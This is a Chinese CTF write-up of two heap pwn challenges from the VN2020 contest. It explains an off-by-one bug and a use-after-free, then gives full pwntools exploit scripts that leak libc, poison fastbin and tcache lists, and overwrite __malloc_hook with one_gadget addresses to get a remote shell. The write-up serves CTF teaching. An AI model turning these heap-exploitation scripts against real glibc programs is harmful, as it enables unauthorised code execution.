0%

VN2020公开赛-pwn

VN2020公开赛部分pwn题复现

simpleHeap

程序分析

jAMZlQ.jpg

jAQLxe.jpg

jAQzVI.jpg

程序限制了最多只能申请十个堆块,且size最大为111

在编辑堆块内容的函数中对for循环的边界检查不当,造成off by one

利用思路

利用off by one改相邻chunk的size域达到堆块重叠泄露libc,再利用堆块重叠完成fast bin attack改写malloc_hook

  1. 先创建四个堆块,chunk0为0x18,chunk1和chunk2为0x60,chunk3为0x10防止top chunk合并
  2. 编辑chunk0改写chunk1的size为0x70 * 2 +1即0xe1,这样chunk2就和chunk1重叠了
  3. 释放chunk1进入unsorted bin中,再申请0x60的chunk,将原先0x60大小的chunk从unsorted bin中切割出来,此时unsorted bin中只剩下chunk2,show(2) 即可泄露libc
  4. 再申请0x60将unsorted bin清空,再申请4个堆块用来完成fast bin attack
  5. 编辑chunk5改写chunk6的size域,再做一个堆重叠,这里要注意next chunk的伪造
  6. 把chunk6释放掉再申请回来就能编辑到chunk7的fd指针了
  7. 改malloc_hook为one_gadget

把所有one_gadget都试了一遍,发现失败了,这里参考这篇文章

利用realloc来调整堆栈,再getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
banary = './pwn1'
ip = 'node4.buuoj.cn'
port = 25706
elf = ELF(banary)
context.log_level = "debug"
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
rl = lambda : io.recvline()
ru = lambda text : io.recvuntil(text)
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
ia = lambda : io.interactive()

def add(size, con = b''):
sla(b'choice: ', b'1')
sla(b'size?', str(size))
sla(b'content:', con)

def edit(idx, con):
sla(b'choice: ', b'2')
sla(b'idx?', str(idx))
sla(b'content:', con)

def show(idx):
sla(b'choice: ', b'3')
sla(b'idx?', str(idx))

def delete(idx):
sla(b'choice: ', b'4')
sla(b'idx?', str(idx))

add(0x18)
add(0x60)
add(0x60)
add(0x18)
edit(0, b'a' * 0x18 + b'\xe1')
delete(1)
add(0x60)
show(2)
malloc_hook = uu64() - 88 - 0x10
libcbase = malloc_hook - 0x3C4B10
one = libcbase + 0x4526a
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
add(0x60) #4
add(0x18) #5
add(0x10)
edit(5, b'a' * 0x18 + b'\x41')
add(0x60, p64(0) * 3 + p64(0x51))
delete(6)
delete(7)
add(0x30, b'a' * 0x18 + p64(0x71) + p64(malloc_hook - 0x23))
add(0x60)
add(0x60, b'a' * 11 + p64(one) + p64(libcbase + 0x846C0 + 0xc))

sla(b'choice: ', b'1')
sla(b'size?', str(0x10))
ia()

easyTHeap

程序分析

jAb62j.jpg

jAbjZ6.jpg

free之后指针没有置零,uaf,限制了free次数为3次

jAqZo8.jpg

只能申请7个堆块,最大为0x100

利用思路

  1. double free拿到tcache struct,将所有tcache的count位填满,再free一个unsorted bin大小的堆块即可泄露libc,至此free次数以用完
  2. 编辑tcache改几个链表头打malloc_hook即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
banary = "./pwn2"
elf = ELF(banary)
ip = 'node4.buuoj.cn'
port = 27435
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
ia = lambda : io.interactive()


def add(size):
sla(b'choice: ', b'1')
sla(b'size?', str(size))

def edit(idx, con):
sla(b'choice: ', b'2')
sla(b'idx?', str(idx))
sla(b'content:', con)

def show(idx):
sla(b'choice: ', b'3')
sla(b'idx?', str(idx))

def delete(idx):
sla(b'choice: ', b'4')
sla(b'idx?', str(idx))

add(0x80)

delete(0)
delete(0)

show(0)
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0x10 - 0x250
print(hex(heap))

add(0x80) #1
edit(1, p64(heap + 0x10))
add(0x80) #2
add(0x80) #3 tcache
edit(3, b'a' * 0x40)

add(0x80) #4
delete(0)
show(0)
malloc_hook = uu64() - 96 - 0x10
libcbase = malloc_hook - 0x3EBC30
print(hex(libcbase))
one = libcbase + 0x4f322
realloc = libcbase + 0x98C30
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

edit(3, b'a' * 0x40 + p64(malloc_hook - 0x13) * 4)
add(0x40) #5
edit(5, b'a' * 11+ p64(one) + p64(realloc + 8))
add(0x30)
ia()